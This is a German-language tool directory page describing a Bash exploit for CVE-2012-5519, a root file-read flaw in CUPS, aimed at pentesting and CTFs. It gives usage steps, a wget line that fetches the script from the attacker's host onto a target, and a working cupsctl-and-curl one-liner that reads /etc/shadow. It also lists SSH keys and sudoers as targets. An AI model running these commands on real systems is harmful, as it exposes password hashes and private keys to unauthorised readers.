Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2012-5519 — cups-root-file-read.sh | CVE-2012-5519 | Kitploit
Tools/GitHubGitHub/p1ckzi/cve-2012-5519
Privilege EscalationSchwachstellenanalyseExploitationInformationsbeschaffungCTFPenetrationstests
GitHubp1ckzi/cve-2012-5519

CVE-2012-5519

cups-root-file-read.sh | CVE-2012-5519

Repository anzeigen
912vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cups-root-file-read.sh ⭐

Eine Bash-Implementierung des Metasploit-Moduls 'cups_root_file_read.rb', entwickelt für Pentesting und CTFs.
Hauptsächlich eine kurze Übung in Bash-Scripting. Gedacht als eigenständiges Programm, das CVE-2012-5519 auf Linux-Systemen ausnutzt;
es bietet dem Benutzer eine interaktive Eingabeaufforderung, mit der er schnell mehrere eingeschränkte Dateien lesen kann.

Der Exploit - CVE-2012-5519 ❗

Dieses Skript nutzt eine Sicherheitslücke in CUPS (Common UNIX Printing System) < 1.6.2 aus.
CUPS erlaubt Benutzern in der lpadmin-Gruppe, mit dem Befehl cupsctl Änderungen an der Datei cupsd.conf vorzunehmen.
Dieser Befehl erlaubt es dem Benutzer auch, einen ErrorLog-Pfad anzugeben.
Wenn der Benutzer die Seite '/admin/log/error_log' aufruft, liest der cupsd-Daemon, der mit SUID von root läuft, den ErrorLog-Pfad und gibt ihn im Klartext aus.
Kurz gesagt: Dateien, die dem root-Benutzer gehören, können gelesen werden, wenn der ErrorLog-Pfad dorthin zeigt.

Voraussetzungen ✔

  • Linux - das Skript wurde nur unter Linux getestet und funktioniert möglicherweise nicht auf anderen Betriebssystemen.
  • Bash - cups-root-file-read.sh ist in Bash geschrieben.
  • curl - (im Skript überprüft) wird verwendet, um die Webseite anzufordern. Derzeit sind aufgrund von Zeitmangel keine alternativen HTTP-Parsing-Befehle wie wget oder nc in das Skript integriert.
  • anfällig - (im Skript überprüft) Es werden einige Prüfungen durchgeführt, um sicherzustellen, dass die Sicherheitslücke existiert und der aktuelle Benutzer sie ausnutzen kann, um das Exploit-Skript zu verwenden. Dazu gehört die Mitgliedschaft in der 'lpadmin'-Gruppe, ob der Befehl cupsctl verfügbar ist usw.

Verwendung ℹ

Es wird angenommen, dass das Skript für Pentesting- und CTF-Events verwendet wird. Platziere das Skript auf der Zielmaschine. Dies kann auf verschiedene Weise erfolgen. Eine gängige Methode von der Zielmaschine aus:

root@kitploit:~
wget http://[my ip]:[my port]/cups-root-file-read.sh

cups-root-file-read.sh erfordert keine Argumente oder Flags, hat aber zwei optionale:

root@kitploit:~
./cups-root-file-read.sh -h

./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
        -a, --accessible: turns off features which may negatively affect
        screen readers.
        -h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
        1. /root/.ssh/id_rsa
        2. /root/.bash_history
        3. /etc/shadow etc...

Ausführen mit:

root@kitploit:~
bash cups-root-file-read.sh

oder

root@kitploit:~
chmod +x cups-root-file-read.sh

./cups-root-file-read.sh

oder wenn Sie nur eine einzelne Datei lesen möchten:

root@kitploit:~
echo '/etc/shadow' | ./cups-root-file-read.sh

Nachdem die anfänglichen Funktions- und Sicherheitsüberprüfungen bestanden wurden, erhält der Benutzer eine Eingabeaufforderung, in der er einen absoluten Pfad zu einer vorhandenen Datei eingeben kann. Der Inhalt jeder Datei wird im Terminal ausgegeben.

Beste Verwendung:

Während das Skript verwendet werden kann, um auf eingeschränkte Dateien zu testen und sie zu lesen, ist es nützlicher, wenn der Benutzer bereits weiß, dass eingeschränkte Dateien existieren, die er anzeigen möchte. Zum Beispiel:

  • /root/.ssh/id_rsa
  • /root/.bash_history
  • /etc/shadow
  • /etc/sudoers ... etc.

Einschränkungen ⚠

Leerzeichen:

Die Eingabe des Benutzers muss ein absoluter Pfad zu einer existierenden Datei sein, die der Benutzer anzeigen möchte, und darf an keiner Stelle in der Datei oder im Pfad Leerzeichen enthalten. Der Grund ist, dass der Befehl cupsctl Leerzeichen selbst mit Anführungszeichen nicht korrekt verarbeiten kann (z.B. ErrorLog='/path to/file.txt') und die Eingabe an den Leerzeichen in separate Direktiven aufteilt, mit dem booleschen Wert 'true'.
Das vorherige Beispiel würde bei Eingabe in die cupsd.conf-Datei wie folgt geschrieben werden:

root@kitploit:~
ErrorLog=/path
to/file.txt=true

Dies wirft Fehler, die in das Error-Log geschrieben werden, was wichtige Dateien sein können, wenn der ErrorLog-Pfad in einem vorherigen erfolgreichen Leseversuch angegeben wurde. Daher überprüft das Skript auf Leerzeichen und filtert sie heraus.


Rückgabe von 404-Statuscodes:

Trotz Prüfungen, die sicherstellen, dass der Benutzer etwas eingibt, das wie ein absoluter Pfad und eine Datei aussieht, können nicht alle Fehler abgefangen werden, bevor sie mit dem Befehl cupsctl an den Server übergeben werden:
Dateien, die im Root-Verzeichnis existieren, können gelesen werden (z.B. '/file.txt'), aber auch gängige Unix-Verzeichnisse wie '/tmp' und '/root' können eingegeben werden (sei es absichtlich oder durch Benutzerfehler). Es gibt keine Abfange für solche Systemverzeichnisse, und diese geben 404-Statuscodes vom Server zurück. Der Benutzer wird darüber informiert.
Nicht vorhandene Verzeichnisse im Pfad (z.B. '/tmp/nicht-vorhanden-verzeichnis/file.txt') führen ebenfalls zu einem 404-Statuscode vom Server.


Leere Dateien:

Der Versuch, nicht vorhandene Dateien anzuzeigen (z.B. '/root/nicht-vorhandene-datei.txt') führt zu deren Erstellung als neues Error-Log. Der Benutzer wird in der Ausgabe darüber informiert, dass die leere Datei möglicherweise durch das Exploit-Skript erstellt wurde, falls sie nicht bereits vorher vorhanden war. Es besteht immer die Möglichkeit, dass diese leeren Dateien von einem Systembenutzer zu irgendeinem Zweck ungefähr zur gleichen Zeit erstellt wurden, als das Skript ausgeführt wurde, und daher werden sie nicht bereinigt.

Obwohl Linux Befehle hat, um zu testen, ob eine Datei oder ein Verzeichnis existiert, wurde diese Funktion im Skript nicht implementiert, bevor die Benutzereingabe an den Befehl cupsctl übergeben wird, da Testbefehle nicht funktionieren, wenn eine Datei oder ein Verzeichnis an einem für den aktuellen Benutzer unzugänglichen Ort existiert (z.B. '/root') – aus offensichtlichen Sicherheitsgründen. Da das Skript dazu entwickelt wurde, solche unzugänglichen Dateien zu lesen, wäre eine solche Funktion sinnlos.


CUPS-Fehler:

Manchmal können cupsctl-Fehler auftreten, wenn Änderungen vorgenommen werden, entweder manuell oder durch cups-root-file-read.sh. Obwohl cups-root-file-read.sh ungewöhnliche Benutzereingaben und einige Fehler behandelt, werden diese cupsctl-Fehler, die beim Ändern der cupsd.conf-Datei oder beim Anfordern der Webseite auftreten, nicht behandelt. cups-root-file-read.sh wird einfach beendet. In diesen Fällen kann das Skript erneut gestartet werden und ein weiterer Versuch unternommen werden.


Hinweise 📝

Das Skript war hauptsächlich eine Übung zur Erstellung eines kurzen, umfassenden, eigenständigen Programms für einen einzelnen Exploit unter Berücksichtigung von Lesbarkeit und Barrierefreiheit.

Das Skript dient dazu, das Vorhandensein von CVE-2012-5519 zu testen und dann während der Ausnutzung schnell und einfach mehrere eingeschränkte Dateien zu lesen. Zu diesem Zweck ist es meiner Meinung nach deutlich schneller als das Metasploit-Modul und das wiederholte manuelle Eintippen und Bearbeiten eines Befehls (hoffe ich). Aber wenn der Benutzer weiß, dass die Zielmaschine anfällig ist, kann das gleiche Ergebnis mit etwas wie folgt erzielt werden:

root@kitploit:~
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'

Stand 2022 ist dieser Exploit 10 Jahre alt. Wenn die Zielmaschine ebenfalls alt ist, ist es möglich, dass die Versionen der verschiedenen im Skript verwendeten Befehle nicht über die Funktionalität verfügen, die sie heute haben. Dies könnte auch für die Version von Bash gelten. Leider war ich zeitlich eingeschränkt und konnte das Skript nicht in einer breiteren Umgebung testen. Es könnte für CTFs nützlicher sein.

Ursprünglich sollte das Skript mit Python3 erstellt werden, aber ich bin auf mehrere Fälle gestoßen, in denen Python2 und Python3 für den Benutzer nicht verfügbar waren, nachdem er als unprivilegierter Benutzer Zugriff auf ein System erhalten hatte. Bash ist auf einem Linux-System fast immer verfügbar, ebenso wie gängige Linux-Befehle, daher schien eine Bash-Implementierung die sichere Option zu sein.

Es werden so weit wie möglich Bash-builtin-Befehle verwendet, jedoch ist das Skript auf einige externe Befehle wie sort, head und curl (und natürlich cupsctl als Teil des Exploits) angewiesen. Derzeit gibt es keine Prüfungen für diese Befehle und keine Alternative aufgrund von Zeitmangel. Das Skript wird fehlschlagen, wenn diese Befehle nicht verfügbar sind :(

Danksagungen 👍

  • https://argbash.io - für Hilfe bei den anfänglichen Skriptargumenten.
  • https://skerritt.blog/a11y/ - Barrierefreiheitsimplementierung.
Tool herunterladen